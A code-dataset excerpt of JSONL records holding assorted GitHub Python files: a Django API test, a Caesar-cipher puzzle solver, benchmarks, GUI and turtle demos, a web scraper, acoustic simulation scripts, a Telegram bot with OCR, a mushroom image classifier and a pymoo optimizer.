self.assertNotEquals(get_response.data, response.data)\n\n # test wrong update\n response = self.client.patch(url,\n headers=self.headers,\n data={'voice_status': 5},\n format='json')\n self.assertEqual(response.status_code, HTTPStatus.BAD_REQUEST)\n\n # check permissions\n url = reverse_lazy('botsettings-detail', args=(self.temp_user.username,))\n response = self.client.patch(url,\n headers=self.headers,\n data={'voice_status': 3},\n format='json')\n self.assertEqual(response.status_code, HTTPStatus.FORBIDDEN)\n","repo_name":"maloi56/twitch-app","sub_path":"src/users/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":5743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71731042729","text":"# pip install pycipher\n\nfrom microcontest import Communicator\nfrom pycipher import Caesar\n\nmc = Communicator.create_from_env()\n\nchallenge_id = 4\n\nvariables = mc.get_contest_variables(challenge_id)\n\ntxt_clair = Caesar(int(variables['key'])).decipher(variables['txt_crypte'])\n\ndata = {'txt_clair': txt_clair}\n\nprint(mc.validate_contest(challenge_id, data))\n","repo_name":"EpocDotFr/microcontest","sub_path":"crypto/ave_caesar_1.py","file_name":"ave_caesar_1.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"21493569341","text":"\nimport collections\nimport jpeglib\nimport numpy as np\nfrom pathlib import Path\nfrom scipy.stats import ttest_ind\nimport tempfile\nfrom typing import Tuple\n\nPerformanceTestResults = collections.namedtuple(\n 'PerformanceTestResults', ['compression', 'decompression'])\n\n\ndef is_turbo_faster_than_6b(dataset: np.ndarray) -> Tuple[float, float]:\n \"\"\"\"\"\"\n test_versions = ['6b', 'turbo210']\n with tempfile.TemporaryDirectory() as tmp:\n fnames = [str(Path(tmp) / f'{i}.jpeg')\n for i in range(dataset.shape[0])]\n # timing of compression and decompression\n t_c, t_d = {v: [] for v in test_versions}, {v: []\n for v in test_versions} # compression and decompression times\n for v in test_versions:\n jpeglib.version.set(v)\n # iterate dataset\n for i in range(dataset.shape[0]):\n t = jpeglib.Timer('compression')\n im = jpeglib.from_spatial(dataset[i])\n im.samp_factor = ((2, 2), (1, 1), (1, 1))\n im.write_spatial(fnames[i])\n t_c[v].append(t.stop())\n\n t = jpeglib.Timer('decompression')\n jpeglib.read_spatial(fnames[i]).spatial\n t_d[v].append(t.stop())\n\n # Welch's t-test\n # H0: mu_6b <= mu_turbo\n # HA: mu_6b > mu_turbo\n _, pc = ttest_ind(t_c['6b'], t_c['turbo210'],\n alternative='greater', equal_var=False)\n _, pd = ttest_ind(t_d['6b'], t_d['turbo210'],\n alternative='greater', equal_var=False)\n return PerformanceTestResults(pc, pd)\n #print('p-values: for compression %.2E, for decompression %.2E' % (pc,pd))\n\n# # plot histograms\n# import pandas as pd\n# times_c = pd.concat([pd.DataFrame({'library': 'jpeglib-turbo', 'time': t_c['turbo210']}),\n# pd.DataFrame({'library': 'jpeglib 6b', 'time': t_c['6b']}) ], ignore_index=True)\n# times_d = pd.concat([pd.DataFrame({'library': 'jpeglib-turbo', 'time': t_d['turbo210']}),\n# pd.DataFrame({'library': 'jpeglib 6b', 'time': t_d['6b']}) ], ignore_index=True)\n# import seaborn as sns\n# fig,ax = plt.subplots(1,2, figsize=(15,5))\n# sns.kdeplot(data=times_c, x=\"time\", hue=\"library\", ax=ax[0]).set_title(\"Compression time for 256x256 colored image\");\n# sns.kdeplot(data=times_d, x=\"time\", hue=\"library\", ax=ax[1]).set_title(\"Decompression time for 256x256 colored image\");\n# ax[0].set_xlim(0,.005)\n# ax[1].set_xlim(0,.005)\n# plt.show()\n","repo_name":"uibk-uncover/KnowYourLibrary","sub_path":"src/knowyourlibrary/simd.py","file_name":"simd.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"26667649945","text":"from turtle import *\npos = [\n [-100 , 100], \n [-100, -100], \n [100, -100], \n [100, 100]\n ]\n\n#funcion que mueve el cuadrado generado 50 espacios a la derecha\ndef moveSquare(pos):\n up()\n clear()\n newpos = pos\n\n for i in range(0, 4):\n for j in range(0, 2):\n \n newpos[i][j] = newpos[i][j] + 50\n \n \n #dibujo del nuevo cuadrado\n goto(newpos[0][0], newpos[0][1])\n down()\n goto(newpos[1][0], newpos[1][1])\n goto(newpos[2][0], newpos[2][1])\n goto(newpos[3][0], newpos[3][1])\n goto(newpos[0][0], newpos[0][1])\n\n\n\ndef drawSquare(pos):\n goto(pos[0][0], pos[0][1])\n down()\n goto(pos[1][0], pos[1][1])\n goto(pos[2][0], pos[2][1])\n goto(pos[3][0], pos[3][1])\n goto(pos[0][0], pos[0][1])\n\n for i in range(4):\n moveSquare(pos)\n \n\nup()\nspeed(0)\ndrawSquare(pos)\ndone()","repo_name":"pablo-6728/Proyecto-1-HPG","sub_path":"Parte3_Proyecto1.py","file_name":"Parte3_Proyecto1.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"42496166773","text":"#!/usr/bin/env python\n\nimport pygtk\npygtk.require(\"2.0\")\nimport gtk\n\n\"\"\"\nWarning (from warnings module):\n File \"/home/diver/Desktop/gtk-tut-python/tooltip.py\", line 27\n self.tooltips=gtk.Tooltips()\nDeprecationWarning: Use the new widget gtk.Tooltip\n\nWarning (from warnings module):\n File \"/home/diver/Desktop/gtk-tut-python/tooltip.py\", line 36\n self.tooltips.set_tip(button,\"SHADOW_IN\")\nDeprecationWarning: Use the new widget gtk.Tooltip\n\nWarning (from warnings module):\n File \"/home/diver/Desktop/gtk-tut-python/tooltip.py\", line 44\n self.tooltips.set_tip(button,\"SHADOW_OUT\")\nDeprecationWarning: Use the new widget gtk.Tooltip\n\nWarning (from warnings module):\n File \"/home/diver/Desktop/gtk-tut-python/tooltip.py\", line 52\n self.tooltips.set_tip(button,\"SHADOW_ETCHED_IN\")\nDeprecationWarning: Use the new widget gtk.Tooltip\n\nWarning (from warnings module):\n File \"/home/diver/Desktop/gtk-tut-python/tooltip.py\", line 60\n self.tooltips.set_tip(button,\"SHADOW_ETCHED_OUT\")\nDeprecationWarning: Use the new widget gtk.Tooltip\n\"\"\"\n\ndef create_arrow_button(arrow_type,shadow_type):\n button=gtk.Button()\n arrow=gtk.Arrow(arrow_type,shadow_type)\n button.add(arrow)\n button.show()\n arrow.show()\n return button\n\nclass Tooltips:\n def __init__(self):\n window=gtk.Window(gtk.WINDOW_TOPLEVEL)\n window.set_title(\"Tooltips\")\n \n window.connect(\"destroy\",\\\n lambda w: gtk.main_quit())\n\n window.set_border_width(10)\n box=gtk.HBox(False,0)\n box.set_border_width(2)\n window.add(box)\n self.tooltips=gtk.Tooltips()\n box.show()\n\n button=create_arrow_button(gtk.ARROW_UP,\\\n gtk.SHADOW_IN)\n box.pack_start(button,\\\n False,\\\n False,\\\n 3)\n self.tooltips.set_tip(button,\"SHADOW_IN\")\n \n button=create_arrow_button(gtk.ARROW_DOWN,\\\n gtk.SHADOW_OUT)\n box.pack_start(button,\\\n False,\\\n False,\\\n 3)\n self.tooltips.set_tip(button,\"SHADOW_OUT\")\n\n button=create_arrow_button(gtk.ARROW_LEFT,\\\n gtk.SHADOW_ETCHED_IN)\n box.pack_start(button,\\\n False,\\\n False,\\\n 3)\n self.tooltips.set_tip(button,\"SHADOW_ETCHED_IN\")\n\n button=create_arrow_button(gtk.ARROW_RIGHT,\\\n gtk.SHADOW_ETCHED_OUT)\n box.pack_start(button,\\\n False,\\\n False,\\\n 3)\n self.tooltips.set_tip(button,\"SHADOW_ETCHED_OUT\")\n\n\n window.show()\n\ndef main():\n gtk.main()\n return 0\n\nif __name__==\"__main__\":\n Tooltips()\n main()\n","repo_name":"dver666/ipp","sub_path":"gtk-tut-python/tooltip.py","file_name":"tooltip.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"72021457129","text":"from bs4 import BeautifulSoup\nimport requests\nimport re\nfrom .constants import headers\n\n\ndef viewData(idx):\n url = \"?\"\n url += \"code=XxH00AXY\"\n url += \"&mode=view\"\n url += \"&board_num=\" + idx\n return url\n\n\ndef parse_page(idx):\n req = requests.get(\n \"http://media.ssu.ac.kr/sub.php?code=XxH00AXY&mode=&category=1&searchType=&search=&orderType=&orderBy=&page={}\".format(\n idx), headers=headers)\n req.encoding = \"utf-8\"\n html = req.text\n bs = BeautifulSoup(html, 'html.parser')\n tbody = bs.find(\"tbody\")\n ret = []\n trs = tbody.find_all(\"tr\", {\"class\": \"odd\"})\n for tr in trs:\n parsed_item = dict()\n split_tr = tr.text.split(\"\\n\")\n parsed_item[\"title\"] = split_tr[-5]\n parsed_item[\"date\"] = split_tr[-3]\n onClick = tr.find('a')['onclick']\n idx = re.findall('[0-9]+', onClick)\n link = viewData(idx[0])\n parsed_item[\n \"link\"] = \"http://media.ssu.ac.kr/sub.php\" + link + \"&category=1&searchType=&search=&orderType=&orderBy=&page=1\"\n ret.append(parsed_item)\n return ret\n\n\ndef get_notices(max_page=6):\n notices = []\n for i in range(1, max_page):\n notices.extend(parse_page(i))\n\n return notices\n","repo_name":"yoonje/soongsil-notice-crawler","sub_path":"parsers/media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"15101104488","text":"import itertools\n\n\nclass Order(object):\n \"\"\" Order is a message sent from an downstream node to upstream node to\n buy some drug\n \"\"\"\n\n new_id = next(itertools.count())\n\n def __init__(self):\n self.id = Order.new_id\n\n self.src = None\n self.dst = None\n self.amount = int(0)\n self.place_time = 0\n\n self.delivery = []\n\n self.recv_time = 0\n self.exp_recv_time = 0\n self.expire_time = 0\n","repo_name":"Omidmohaddesi/imitation_learning","sub_path":"gym-crisp/gym_crisp/envs/simulator/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"20257312628","text":"# -*- coding: utf-8 -*-\n##\n# \\file case3_ground.py\n# \\title Study of an acoustic impulse reflected by a ground.\n# \\author Pierre Chobeau\n# \\version 0.1\n# \\license BSD 3-Clause License\n# \\inst UMRAE (Ifsttar Nantes), LAUM (Le Mans Université)\n# \\date 2017, 09 Aug.\n##\nimport numpy as np\nimport os\nimport site\n\n\n\"\"\"\n.. module:: case3_ground.py\n :platform: Unix, Windows\n :synopsis: Study of an acoustic impulse reflected by a rigid ground in \n a 2D domain using the FDTD and the TLM methods.\n\n.. moduleauthor:: Pierre Chobeau \n\nList of required functions\n==========================\n\n- fdtd_srl_init_impgr: initialization of the FDTD domain for the\nstudy of acoustic wave propagation above a reflecting ground.\n\n- tlm_srl_init_impgr: initialization of the TLM domain for the\nstudy of acoustic wave propagation above a reflecting ground.\n\n- error_calc: results processing with FFT and errors calculations.\n\n\"\"\"\n\nfdtd_path = os.path.join(os.getcwd().rsplit(os.sep, 1)[0], 'num_methods', 'fdtd')\nsite.addsitedir(fdtd_path)\nfrom init_fdtd_ground import fdtd_srl_init_impgr\n\ntlm_path = os.path.join(os.getcwd().rsplit(os.sep, 1)[0], 'num_methods', 'tlm')\nsite.addsitedir(tlm_path)\nfrom init_tlm_ground import tlm_srl_init_impgr\n\npost_proc_path = os.path.join(os.getcwd().rsplit(os.sep, 1)[0], 'post_proc')\nsite.addsitedir(post_proc_path)\nfrom errors_calc_ground import error_calc\n\n\ndef main(d_sr, h_s, h_r, sigma, f_max_src):\n \"\"\"\n Each method (FDTD or TLM) is launched above a ground, then in free field.\n The numerical error is calculated in error_calc_ground.py\n\n :param d_sr: horizontal distances between the source and the receivers (m).\n :type d_sr: list of floats\n :param h_s: height of the source (m).\n :type h_s: float\n :param h_r: height of the receiver (m).\n :type h_r: float\n :param sigma: pecific airflow resistivity (kNm-4s==CGS).\n :type sigma: float\n :param f_max_src: approximated maximale frequency of the source signal -\n Gaussian pulse - (Hz).\n :type f_max_src: float\n\n :param case: integer that sorts of the saved folders in the results dir.\n :param c: sound speed, float (m.s-1).\n :param rho: air density, float (kg.m-3).\n :param T: simulation duration, float (s).\n :param h_set: spatial step sequence, list of floats (m).\n :param dt_set: time step sequence, list of floats (s).\n :param disp_inst_p: display the instantaneous pressure, boolean.\n \"\"\"\n case = 3\n c = 340.\n rho = 1.2\n T = 1. / 25. # 0.04 s --> 13.6 m propag. dist.\n # (set T_delay in init_*.py accordingly: T/2) ; df=25Hz\n # T = 1. / 50. # 0.02 s --> 6.8 m propag. dist.\n # (set T_delay in init_*.py accordingly: T/4) ; df=50Hz\n\n h_set = np.logspace(np.log10(0.01), np.log10(0.16), 5)\n dt_set = np.logspace(np.log10(0.125), np.log10(2.0), 5)*10**-4\n disp_inst_p = False\n\n # for h_idx, h in enumerate(h_set[:]):\n # for ff in [False, True]:\n # fdtd_srl_init_impgr(dt_set[h_idx], h, h_idx, h_set, d_sr, h_s, h_r,\n # T, f_max_src, rho, sigma, case, ff, disp_inst_p)\n # tlm_srl_init_impgr(dt_set[h_idx], h, h_idx, h_set, d_sr, h_s, h_r,\n # T, f_max_src, rho, sigma, case, ff, disp_inst_p)\n\n error_calc(d_sr, h_s, h_r, h_set[:], rho, c, sigma, case,\n disp_att_spect=True, disp_errors=False)\n\nif __name__ == '__main__':\n two_coarsest_spatial_step = 2 * 0.16\n h_s = 2. * two_coarsest_spatial_step\n x_max = 16. * two_coarsest_spatial_step\n x_min = two_coarsest_spatial_step\n y_max = 7. * two_coarsest_spatial_step\n y_min = two_coarsest_spatial_step\n d_sr = np.arange(x_min, x_max + two_coarsest_spatial_step,\n two_coarsest_spatial_step)\n h_r = np.arange(y_min, y_max + two_coarsest_spatial_step,\n two_coarsest_spatial_step)\n sigma = 20000\n f_max_src = 2000.\n\n main(d_sr, h_s, h_r, sigma, f_max_src)\n","repo_name":"pchobeau/sinecity_testcases","sub_path":"main/case3_ground.py","file_name":"case3_ground.py","file_ext":"py","file_size_in_byte":4000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"36972883814","text":"# -*- coding: utf-8 -*-\n#\n# Simple Bot to reply to Telegram messages\n# This program is dedicated to the public domain under the CC0 license.\n# from karishmatgbot.xpal import *\nimport logging\nfrom re import I\nfrom cv2 import FILE_NODE_UNIFORM\nfrom numpy.lib.index_tricks import RClass\nfrom . import xpal\nfrom . import utils\nimport requests, json\n\nimport feedgenerator\nimport pytesseract\nfrom PIL import Image\n\n\n# from telegram.ext import (Updater, CommandHandler, MessageHandler, Filters, RegexHandler,\n# ConversationHandler)\nfrom telegram.ext import (CommandHandler, MessageHandler, Filters, RegexHandler,\n ConversationHandler, CallbackQueryHandler, CallbackContext)\nfrom telegram import ReplyKeyboardMarkup, ParseMode, InlineKeyboardMarkup, InlineKeyboardButton, Update, ReplyKeyboardRemove\nimport xetrapal\nfrom xetrapal import telegramastras\nimport os\nverbose=True\n#import sys\n\n#sys.path.append(\"/opt/xetrapal\")\n\n\nmemberbotconfig = xetrapal.karma.load_config(configfile=\"/opt/karishmabot-appdata/karishmatgbot.conf\")\nkarishmatgbot = xetrapal.telegramastras.XetrapalTelegramBot(config=memberbotconfig, logger=xpal.karishmatgbotxpal.logger)\nlogger = karishmatgbot.logger\nGETMOBILE, PROCESS_MESSAGE = range(2)\n\nsend_contact_text = u'\\U0001F4CD Send Contact'\n\nloop_text = u'\\U0001F960 Loop'\nexit_text = u'\\U0001F44B Bye'\n#contact_keyboard = [\n# [{'text': send_contact_text, 'request_contact': True}]\n# ]\n#member_base_keyboard = [\n# [exit_text]\n# ]\n\nmain_menu_header_text = '''\\\n Hi! My name is Zhu Li.\\n\n'''\n\ndef facts_to_str(user_data):\n facts = list()\n logger.info(\"Converting facts to string\")\n for key, value in user_data.items():\n facts.append(u'{} - {}'.format(key, repr(value)))\n logger.info(\"Converted facts to string\")\n return \"\\n\".join(facts).join(['\\n', '\\n'])\n\ndef get_rasa_response(username,message_text,hostname=\"http://localhost\"):\n logger.info(\"Trying\")\n resturl=\":5005/webhooks/rest/webhook\"\n jsondata={}\n jsondata['sender']=username\n jsondata['message']=message_text\n response=requests.post(hostname+resturl,json=jsondata)\n return response.json()\n\ndef get_karishma_response(username,message_text,hostname=\"http://localhost\"):\n resturl=\":5000/listener\"\n jsondata={}\n jsondata['sender']=username\n jsondata['text']=message_text\n logger.info(\"Trying\",jsondata)\n response=requests.post(hostname+resturl,json=jsondata)\n return response.json()\n\n\ndef main_menu(update: Update, context: CallbackContext):\n logger.info(context.user_data)\n user_data = context.user_data\n try:\n #user_data['member'] = xpal.get_member_by_tgid(update.message.from_user.id)\n user_data['member'] = xpal.get_member_by_username(update.message.from_user.username)\n logger.info(u\"{}\".format(user_data))\n if user_data['member'] is None:\n update.message.reply_text(\"Sorry, this service is for whitelisted members only.\")\n #return ConversationHandler.END\n return GETMOBILE\n logger.info(\"Main Menu presented to member {}\".format(user_data['member'].username))\n update.message.reply_text(main_menu_header_text, parse_mode=ParseMode.HTML, reply_markup=ReplyKeyboardRemove())\n return PROCESS_MESSAGE\n except Exception as e:\n logger.error(\"{} {}\".format(type(e), str(e)))\n\n\ndef loop(update: Update, context: CallbackContext):\n logger.info(context.user_data)\n logger.info(update.message.text)\n # if upadte cotains image download image \n if update.message.photo or update.message.document:\n logger.info(\"Downloading image\")\n logger.info(update.message.photo)\n file_id = update.message.photo[-1].file_id\n # logger.info(\"Downloading image {}\".format(file_id))\n # bot has no attribute get_file\n try:\n file_info = context.bot.get_file(file_id)\n except Exception as e:\n logger.error(\"{} {}\".format(type(e), str(e)))\n\n\n \n file_path = file_info.file_path\n logging.info(\"Downloading image {}\".format(file_path))\n # try:\n\n # context.bot.sendMessage(chat_id=update.message.chat_id,text=\"Downloading image {}\".format(file_path))\n # except Exception as e:\n # logger.error(\"{} {}\".format(type(e), str(e)))\n # return \n \n logger.info(\"Downloading image {}\".format(file_info))\n #download image to local file\n download=context.bot.get_file(file_id)\n #save the file as image.jpg in current directory\n download.download('image.jpg')\n\n\n \n try:\n text=pytesseract.image_to_string(Image.open(\"image.jpg\"),lang=\"hin\")\n #add utf-8 encoding to text\n \n logger.info(\"Downloading image {}\".format(text))\n except Exception as e:\n logger.error(\"{} {}\".format(type(e), str(e)))\n text=None\n \n #write text to a file and setnd the file\n\n #remove image from local directory\n os.remove(\"image.jpg\") \n # text_string=\" \".join(only_text)\n context.bot.sendMessage(chat_id=update.message.chat_id,text=text)\n \n #context_dict['sender']=update.message.from_user.username\n \n\n \n if update.message.text==\"/bye\":\n return exit(update,context)\n #text = os.popen(\"fortune\").read()\n logger.info(\"{} {}\".format(context.user_data['member'].username,update.message.text))\n text=get_karishma_response(username=context.user_data['member'].username, message_text=update.message.text)\n logger.info(str(text))\n if verbose:\n update.message.reply_text(str(text), parse_mode=ParseMode.HTML, reply_markup=ReplyKeyboardRemove())\n return PROCESS_MESSAGE\n\n#write a program to turn a json object into a rssfeed\ndef dict_to_rssfeed(json_object):\n rssfeed=feedgenerator.Rss201rev2Feed(title=\"Xetrapal RSS Feed\", link=\"http://www.xetrapal.com\", description=\"Xetrapal RSS Feed\")\n rssfeed.add_item(title=json_object['text'], link=\"http://www.xetrapal.com\", description=json_object['text'])\n try:\n #append if file exists write if file does not exist\n \n with open('test.rss', 'w') as fp:\n rssfeed.write(fp, 'utf-8')\n except Exception as e:\n logger.info(\"{} {}\".format(type(e), str(e)))\ndef add_todo(update: Update, context: CallbackContext):\n logger.info(context.user_data)\n if update.message.text==\"/bye\":\n return exit(update,context)\n #text = os.popen(\"fortune\").read()\n logger.info(\"{} {}\".format(context.user_data['member'].username,update.message.text))\n text=get_rasa_response(username=context.user_data['member'].username, message_text=update.message.text,hostname=\"http://192.168.56.1\")\n update.message.reply_text(update.message.text.replace(\"TODO:\",\"Added TODO - \" ), parse_mode=ParseMode.HTML, reply_markup=ReplyKeyboardRemove())\n return PROCESS_MESSAGE\n\ndef add_txn(update: Update, context: CallbackContext):\n logger.info(context.user_data)\n if update.message.text==\"/bye\":\n return exit(update,context)\n #text = os.popen(\"fortune\").read()\n logger.info(\"{} {}\".format(context.user_data['member'].username,update.message.text))\n text=get_rasa_response(username=context.user_data['member'].username, message_text=update.message.text,hostname=\"http://192.168.56.1\")\n update.message.reply_text(update.message.text.replace(\"TXN:\",\"Added TXN - \" ), parse_mode=ParseMode.HTML, reply_markup=ReplyKeyboardRemove())\n return PROCESS_MESSAGE\n\ndef add_rel(update: Update, context: CallbackContext):\n logger.info(context.user_data)\n if update.message.text==\"/bye\":\n return exit(update,context)\n #text = os.popen(\"fortune\").read()\n logger.info(\"{} {}\".format(context.user_data['member'].username,update.message.text))\n text=get_rasa_response(username=context.user_data['member'].username, message_text=update.message.text,hostname=\"http://192.168.56.1\")\n update.message.reply_text(update.message.text.replace(\"REL:\",\"Added relationship - \" ), parse_mode=ParseMode.HTML, reply_markup=ReplyKeyboardRemove())\n return PROCESS_MESSAGE\n\ndef set_mobile(update: Update, context: CallbackContext):\n logger.info(u\"{}\".format(update.message.contact))\n member = xpal.get_member_by_mobile(update.message.contact.phone_number.lstrip(\"+\"))\n if member:\n member.tgid = update.message.contact.user_id\n member.save()\n user_data['member'] = member\n logger.info(\"Main Menu presented to member {}\".format(user_data['member'].username))\n markup = ReplyKeyboardMarkup(member_base_keyboard, one_time_keyboard=True)\n update.message.reply_text(main_menu_header_text, reply_markup=markup, parse_mode=ParseMode.HTML)\n return PROCESS_MESSAGE\n else:\n update.message.reply_text(\"Sorry, you don't seem to be listed!\")\n return ConversationHandler.END\n\n\ndef cancel(bot, update, user_data):\n logger.info(u\"Cancelling Update {}\".format(user_data))\n markup = ReplyKeyboardMarkup(member_base_keyboard, one_time_keyboard=True)\n update.message.reply_text(u'Cancelled!', reply_markup=markup)\n return PROCESS_MESSAGE\n\n\ndef exit(update: Update, context: CallbackContext):\n update.message.reply_text(\"Bye!\")\n return ConversationHandler.END\n\n\ndef error(update, context):\n \"\"\"Log Errors caused by Updates.\"\"\"\n logger.warning('Update \"%s\" caused error \"%s\"', update, error)\n\n\n# function to check if telegram.Message object contains an image\ndef is_image(message):\n logger.info(message.content_type)\n return message.content_type == 'photo' or message.content_type == 'document'\n\n\nstates={\n GETMOBILE: [MessageHandler(Filters.text,\n exit,\n pass_user_data=True),\n MessageHandler(Filters.contact,\n set_mobile,\n pass_user_data=True),\n ],\n PROCESS_MESSAGE: [\n MessageHandler(Filters.regex('^(TODO:)'), add_todo, pass_user_data=True),\n MessageHandler(Filters.regex('^(TXN:)'), add_txn, pass_user_data=True),\n MessageHandler(Filters.regex('^(REL:)'), add_rel, pass_user_data=True),\n MessageHandler(Filters.all, loop, pass_user_data=True),\n \n #CallbackQueryHandler(open_xchange_button, pass_user_data=True),\n ],\n\n}\n\n\ndef setup():\n # Create the Updater and pass it your bot's token.\n updater = karishmatgbot.updater\n # Get the dispatcher to register handlers\n dp = updater.dispatcher\n # Add conversation handler with the states CHOOSING, TYPING_CHOICE and TYPING_REPLY\n conv_handler = ConversationHandler(\n entry_points=[CommandHandler('start', main_menu)],\n states=states,\n fallbacks=[]#[RegexHandler('^[dD]one$', exit, pass_user_data=True)]\n )\n dp.add_handler(conv_handler)\n # log all errors\n dp.add_error_handler(error)\n # Start the Bot\n # updater.start_polling()\n # Run the bot until you press Ctrl-C or the process receives SIGINT,\n # SIGTERM or SIGABRT. This should be used most of the time, since\n # start_polling() is non-blocking and will stop the bot gracefully.\n # updater.idle()\n\n\ndef single_update():\n p = karishmatgbot.get_latest_updates()\n for update in p:\n karishmatgbot.updater.dispatcher.process_update(update)\n return p\n\n\nif __name__ == '__main__':\n setup()\n karishmatgbot.updater.start_polling()\n karishmatgbot.updater.idle()\n","repo_name":"karan100010/hawk_eye","sub_path":"krishma/karishmabot/karishmaxpal/karishmatg/karishmatgbot.py","file_name":"karishmatgbot.py","file_ext":"py","file_size_in_byte":11661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35437706238","text":"from lib import Flask, np, transforms, torch, num_classes, MODEL_PATH\n\n\nclass MushroomClassifier(Flask):\n def __init__(self, import_name: str):\n super().__init__(import_name)\n self.config['UPLOAD_FOLDER'] = './static/uploads/'\n self.secret_key = 'super secret key'\n self.config['SESSION_TYPE'] = 'filesystem'\n self.crop_transformations = None\n self.norm_transformations = None\n self.shroom_model = None\n self.initialize_model()\n\n def initialize_model(self):\n mean = np.array([0.485, 0.456, 0.406])\n std = np.array([0.229, 0.224, 0.225])\n img_size = (224, 224)\n\n self.crop_transformations = transforms.Compose([\n transforms.CenterCrop(600),\n transforms.Resize(img_size)\n ])\n self.norm_transformations = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(mean, std)\n ])\n\n self.shroom_model = torch.hub.load('pytorch/vision:v0.10.0', 'resnet18', weights=\"ResNet18_Weights.DEFAULT\")\n num_features = self.shroom_model.fc.in_features\n self.shroom_model.fc = torch.nn.Sequential(\n torch.nn.Linear(num_features, 256),\n torch.nn.ReLU(),\n torch.nn.Linear(256, num_classes)\n )\n self.shroom_model.load_state_dict(torch.load(MODEL_PATH))\n self.shroom_model.eval()\n","repo_name":"LucaRo29/MushroomClassifiyerStreamlit","sub_path":"mushroom_classifier.py","file_name":"mushroom_classifier.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9353854930","text":"import numpy as np\n\nfrom pymoo.algorithms.nsga2 import RankAndCrowdingSurvival\nfrom pymoo.algorithms.so_local_search import LocalSearch\nfrom pymoo.model.individual import Individual\nfrom pymoo.model.population import Population\nfrom pymoo.util.display import SingleObjectiveDisplay\nfrom pymoo.util.nds.non_dominated_sorting import NonDominatedSorting\nfrom pymoo.util.normalization import normalize, denormalize\n\n\ndef norm_bounds(pop, problem):\n nxl = normalize(pop.get(\"xl\"), problem.xl, problem.xu)\n nxu = normalize(pop.get(\"xu\"), problem.xl, problem.xu)\n return nxl, nxu\n\n\ndef update_bounds(ind, xl, xu, k, delta):\n _xl = np.copy(xl)\n _xl[k] = ind.X[k] - delta\n ind.set(\"xl\", _xl)\n\n _xu = np.copy(xu)\n _xu[k] = ind.X[k] + delta\n ind.set(\"xu\", _xu)\n\n\nclass DIRECT(LocalSearch):\n\n def __init__(self,\n eps=1e-2,\n penalty=0.1,\n n_max_candidates=10,\n display=SingleObjectiveDisplay(),\n **kwargs):\n super().__init__(display=display, **kwargs)\n self.eps = eps\n self.penalty = penalty\n self.n_max_candidates = n_max_candidates\n\n def initialize(self, problem, **kwargs):\n super().initialize(problem, **kwargs)\n\n xl, xu = problem.bounds()\n X = denormalize(0.5 * np.ones(problem.n_var), xl, xu)\n x0 = Individual(X=X)\n x0.set(\"xl\", xl)\n x0.set(\"xu\", xu)\n x0.set(\"depth\", 0)\n self.x0 = x0\n\n def _initialize(self, **kwargs):\n super()._initialize(**kwargs)\n\n def _potential_optimal(self):\n pop = self.pop\n\n if len(pop) == 1:\n return pop\n\n # get the intervals of each individual\n _F, _CV, xl, xu = pop.get(\"F\", \"CV\", \"xl\", \"xu\")\n nF = normalize(_F)\n F = nF + self.penalty * _CV\n\n # get the length of the interval of each solution\n nxl, nxu = norm_bounds(pop, self.problem)\n length = (nxu - nxl) / 2\n\n val = length.max(axis=1)\n\n # (a) non-dominated with respect to interval\n obj = np.column_stack([-val, F])\n I = NonDominatedSorting().do(obj, only_non_dominated_front=True)\n candidates, F, xl, xu, val = pop[I], F[I], xl[I], xu[I], val[I]\n\n # import matplotlib.pyplot as plt\n # plt.scatter(obj[:, 0], obj[:, 1])\n # plt.scatter(obj[I, 0], obj[I, 1], color=\"red\")\n # plt.show()\n\n if len(candidates) == 1:\n return candidates\n else:\n if len(candidates) > self.n_max_candidates:\n candidates = RankAndCrowdingSurvival().do(self.problem, pop, self.n_max_candidates)\n\n return candidates\n\n def _next(self):\n # the offspring population to finally evaluate and attach to the population\n off = Population()\n\n # find the potential optimal solution in the current population\n potential_optimal = self._potential_optimal()\n\n # for each of those solutions execute the division move\n for current in potential_optimal:\n\n # find the largest dimension the solution has not been evaluated yet\n nxl, nxu = norm_bounds(current, self.problem)\n k = np.argmax(nxu - nxl)\n\n # the delta value to be used to get left and right - this is one sixth of the range\n xl, xu = current.get(\"xl\"), current.get(\"xu\")\n\n delta = (xu[k] - xl[k]) / 6\n\n # create the left individual\n left_x = np.copy(current.X)\n left_x[k] = xl[k] + delta\n left = Individual(X=left_x)\n\n # create the right individual\n right_x = np.copy(current.X)\n right_x[k] = xu[k] - delta\n right = Individual(X=right_x)\n\n # update the boundaries for all the points accordingly\n for ind in [current, left, right]:\n update_bounds(ind, xl, xu, k, delta)\n\n # create the offspring population, evaluate and attach to current population\n _off = Population.create(left, right)\n _off.set(\"depth\", current.get(\"depth\") + 1)\n\n off = Population.merge(off, _off)\n\n # evaluate the offsprings\n self.evaluator.eval(self.problem, off, algorithm=self)\n\n # add the offsprings to the population\n self.pop = Population.merge(self.pop, off)\n","repo_name":"AIasd/ADFuzz","sub_path":"pymoo/pymoo/algorithms/so_direct.py","file_name":"so_direct.py","file_ext":"py","file_size_in_byte":4346,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"53"}
